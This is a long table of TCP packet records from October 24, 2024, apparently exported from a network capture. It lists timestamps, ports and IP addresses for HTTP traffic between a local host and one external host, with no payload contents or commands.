Oct 24, 2024 04:01:45.984530926 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.984591007 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.984636068 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.984651089 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.984657049 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.984663010 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.984674931 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.984688044 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.984699011 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.984699965 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.984710932 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.984730005 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.984745979 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.984751940 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.984756947 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.984769106 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.984781027 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.984781981 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.984790087 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.984803915 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.984816074 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.984816074 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.984827995 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.984832048 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.984874964 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.984882116 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.984882116 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.984885931 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.984920025 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.984930992 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.984939098 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.985024929 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.985225916 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.985239983 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.985250950 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.985264063 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.985280037 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.985292912 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.985305071 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.985327005 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.985327005 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.985337973 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.985645056 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.985658884 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.985671997 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.985721111 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.985721111 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.985996008 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.986010075 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.986022949 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.986035109 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.986047029 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.986057997 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.986061096 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.986071110 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.986244917 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.986318111 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.986387014 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.986597061 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.102824926 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.102868080 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.102907896 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.102941990 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.102976084 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.102999926 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.103142023 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.103359938 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.103394985 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.103429079 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.103441954 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.103585005 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.103593111 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.103619099 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.103652000 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.103692055 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.103724957 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.103733063 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.103733063 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.103996038 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.104031086 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.104064941 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.104096889 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.104137897 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.104137897 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.104207039 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.104240894 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.104274035 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.104305983 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.104422092 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.104422092 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.104532003 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.104567051 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.104600906 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.104646921 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.104655027 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.104655027 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.104685068 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.104717970 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.104751110 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.104756117 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.104784012 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.104806900 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.104928970 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.104962111 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.104996920 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.105035067 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.105057955 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.105058908 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.105272055 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.105307102 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.105345011 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.105377913 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.105396986 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.105397940 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.105417967 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.105468035 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.105596066 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.105628967 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.105674982 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.105710030 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.105724096 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.105724096 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.105724096 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.105747938 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.105839968 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.105998039 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.106031895 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.106065035 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.106097937 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.106137037 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.106342077 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.106342077 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.106372118 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.106411934 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.106446028 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.106482029 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.106484890 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.106528997 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.106542110 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.106568098 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.106646061 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.106673002 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.106705904 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.106739998 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.106771946 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.106806040 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.106837988 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.106856108 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.106856108 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.106856108 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.106870890 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.106899023 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.107141972 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.107176065 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.107194901 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.107194901 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.107207060 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.107239962 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.107336998 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.142687082 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.142720938 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.142762899 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.142803907 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.142836094 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.142869949 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.142869949 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.142869949 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.142896891 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.142903090 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.142940044 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.142950058 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.142972946 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.143006086 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.143024921 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.144365072 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.144395113 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.144418001 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.144428968 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.144462109 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.144536972 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.218739033 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.218794107 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.218831062 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.218852043 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.218873024 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.218913078 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.218949080 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.218955994 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.218981981 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.218998909 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.219026089 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.219068050 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.219104052 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.219136953 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.219141006 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.219181061 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.219183922 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.219216108 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.219245911 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.219280958 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.219332933 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.219332933 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.219347954 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.219382048 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.219417095 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.219433069 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.219459057 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.219472885 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.219491959 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.219532967 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.219566107 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.219585896 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.219605923 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.219640970 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.219645023 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.219679117 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.219712973 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.219716072 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.219743967 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.219780922 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.219785929 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.219825983 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.219858885 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.219893932 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.219933033 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.219944954 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.219944954 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.219976902 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.220012903 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.220019102 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.220112085 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.220148087 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.220164061 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.220187902 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.220222950 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.220230103 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.220256090 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.220290899 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.220315933 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.220330954 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.220352888 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.220365047 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.220460892 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.220699072 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.220735073 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.220767975 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.220801115 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.220813990 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.220863104 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.221007109 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.221040964 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.221075058 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.221115112 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.221148968 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.221151114 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.221183062 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.221347094 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.221347094 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.221388102 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.221425056 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.221458912 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.221493006 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.221525908 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.221543074 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.221559048 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.221574068 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.221592903 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.221620083 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.221627951 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.221662045 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.221694946 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.221703053 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.221731901 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.221735954 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.221766949 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.221889019 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.222265959 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.222301006 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.222336054 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.222368002 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.222559929 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.222559929 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.222628117 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.222664118 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.222697973 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.222734928 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.222768068 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.222783089 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.222800970 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.222835064 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.222836971 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.222836971 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.222867966 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.222982883 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.223181009 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.223216057 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.223251104 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.223287106 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.223295927 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.223345041 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.223381042 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.223413944 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.223448992 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.223453999 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.223453999 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.223481894 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.223496914 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.223516941 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.223551035 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.223562002 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.224164963 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.224205017 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.224250078 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.224272013 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.224291086 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.224291086 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.224330902 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.224364042 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.224453926 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.224464893 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.224494934 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.224529982 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.224562883 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.224564075 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.224600077 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.224605083 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.224648952 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.224683046 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.224716902 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.224750042 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.224756002 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:46.224780083 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:46.224785089 CEST	49837	80	192.168.2.7	185.215.113.16
